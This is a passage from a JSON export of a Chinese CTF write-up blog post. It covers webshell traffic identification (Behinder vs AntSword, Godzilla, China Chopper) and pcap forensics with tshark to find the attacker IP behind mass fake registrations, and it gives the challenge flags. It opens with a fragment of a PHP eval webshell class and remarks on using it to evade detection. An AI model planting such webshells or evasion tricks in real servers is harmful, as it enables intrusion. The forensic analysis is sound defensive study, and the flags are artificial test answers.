__invoke($p) { eval($p); } }<\/code> \u914d\u5408 <code>call_user_func<\/code>\uff0c\u662f\u4e00\u79cd\u7ed5\u8fc7\u90e8\u5206\u68c0\u6d4b\u7684\u6280\u5de7\uff0c<strong>\u51b0\u874e\u540e\u671f\u7248\u672c\u5e38\u7528\u6b64\u65b9\u5f0f<\/strong>\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u5bf9\u6bd4\u5176\u4ed6\u5de5\u5177<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li><strong>\u8681\u5251\uff08AntSword\uff09<\/strong>\uff1a\u901a\u5e38\u4f7f\u7528\u81ea\u5b9a\u4e49\u7f16\u7801\u5668\uff0c\u591a\u4e3a Base64 + \u81ea\u5b9a\u4e49 XOR\uff0c\u4e14\u901a\u4fe1\u4e0d\u56fa\u5b9a\u7528 AES-128\uff0c\u66f4\u7075\u6d3b\u4f46\u65e0\u6b64\u786c\u7f16\u7801\u5bc6\u94a5\u7ed3\u6784\u3002<\/li>\n\n\n\n<li><strong>\u54e5\u65af\u62c9\uff08Godzilla\uff09<\/strong>\uff1a\u867d\u7136\u4e5f\u7528 AES\uff0c\u4f46\u901a\u5e38\u4f7f\u7528 CBC \u6a21\u5f0f\u3001\u5e26 IV\uff0c\u4e14\u5bc6\u94a5\u5904\u7406\u65b9\u5f0f\u4e0d\u540c\uff08\u5e38\u4e3a\u5b8c\u6574 32 \u4f4d\u6216 Base64 \u7f16\u7801\uff09\u3002<\/li>\n\n\n\n<li><strong>\u83dc\u5200\uff08ChinaZ\uff09<\/strong>\uff1a\u65e0\u52a0\u5bc6\u6216\u7b80\u5355 XOR\uff0c\u4e0d\u4f7f\u7528 AES\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{Behinder}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">hacker<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-150.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"690\" height=\"805\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-150.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1715\"  sizes=\"auto, (max-width: 690px) 100vw, 690px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6d41\u91cf\u5305\u91cc\u9762192.168.37.2\u662f\u88ab\u653b\u51fb\u7684\u670d\u52a1\u5668<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http.request.method == \"POST\"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u5927\u91cf\u7684\u8bf7\u6c42<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-151-1024x567.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"567\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-151-1024x567.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1716\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-152-1024x613.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"613\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-152-1024x613.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1717\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u7528\u6237\u540d\u662f&#8221;zhangsan46&#8243;\uff0c\u5e26\u6709\u6570\u5b57\u540e\u7f00\uff0c\u6279\u91cf\u751f\u6210\u7684<\/li>\n\n\n\n<li>\u751f\u65e5\u662f\u672a\u6765\u7684\u65e5\u671f\uff082025-04-01\uff09\uff0c\u4e0d\u771f\u5b9e<\/li>\n\n\n\n<li>\u8eab\u4efd\u8bc1\u53f7\u7801\u683c\u5f0f\u53ef\u7591<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u5927\u91cf\u7684\u6ce8\u518c\u8bf7\u6c42\u8fc7\u6ee4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>tshark -r \"hacker\u7684\u6d41\u91cf.pcapng\" -Y \"http.request.method == POST and http.request.uri contains register.php\" -T fields -e ip.src | sort -u <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6ce8\u518c\u8bf7\u6c42IP<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-153-1024x118.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"118\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-153-1024x118.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1718\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6240\u4ee5\u6076\u610f\u5c31\u662f192.168.37.177<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u5b9e\u670d\u52a1\u5668\u7684IP\u662f37\u7f51\u6bb5\uff0c\u53c8\u662f\u5185\u7f51\u5176\u5b9e\u653b\u51fb\u5c31\u662f37\u7684\u7f51\u6bb5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f4\u63a5\u628a\u6d41\u91cf\u5305\u6240\u6709\u7684IP\u5448\u73b0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>tshark -r hacker\u7684\u6d41\u91cf.pcapng -T fields -e ip.src -e ip.dst | tr 't' 'n' | sort -u<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-154.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"999\" height=\"691\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-154.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1719\"  sizes=\"auto, (max-width: 999px) 100vw, 999px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(root\u327fkali)-&#91;~\/\u684c\u9762]\n\u2514\u2500# tshark -r hacker\u7684\u6d41\u91cf.pcapng -T fields -e ip.src -e ip.dst | tr 't' 'n' | sort -u\nRunning as user \"root\" and group \"root\". This could be dangerous.\n\n0.0.0.0\n104.208.16.90\n104.46.162.224\n192.168.37.1\n192.168.37.100\n192.168.37.100,192.168.37.2\n192.168.37.177\n192.168.37.2\n192.168.37.200\n192.168.37.2,192.168.37.100\n192.168.37.253\n192.168.37.254\n192.168.37.255\n192.168.37.3\n192.168.37.87\n193.182.111.142\n20.42.65.85\n20.97.190.223\n222.88.95.38\n222.88.95.53\n2.23.77.188\n224.0.0.22\n224.0.0.251\n224.0.0.252\n239.192.152.143\n239.255.255.250\n255.255.255.255\n34.149.100.209\n34.160.144.191\n35.244.181.201\n40.69.42.241\n51.116.253.170\n52.231.114.183\n52.34.199.49\n60.220.179.51\n78.46.102.180\n8.8.8.8\n92.122.244.17\n92.122.244.25\n92.122.244.35\n92.122.244.41\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{192.168.37.177}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>SignIn \u8001\u670b\u53cb\u3001\u8001\u670b\u53cb\u4eec\u548c\u65b0\u670b\u53cb\u4eec \u7b7e\u5230 \u9650\u65f6 What a crazy day!! \u4e4b\u52c7\u6562\u8005\u7684\u6e38\u620f O [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,18],"tags":[],"class_list":["post-1564","post","type-post","status-publish","format-standard","hentry","category-ctf","category-isctf"],"_links":{"self":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/1564","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1564"}],"version-history":[{"count":2,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/1564\/revisions"}],"predecessor-version":[{"id":2003,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/1564\/revisions\/2003"}],"wp:attachment":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1564"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1564"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1564"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}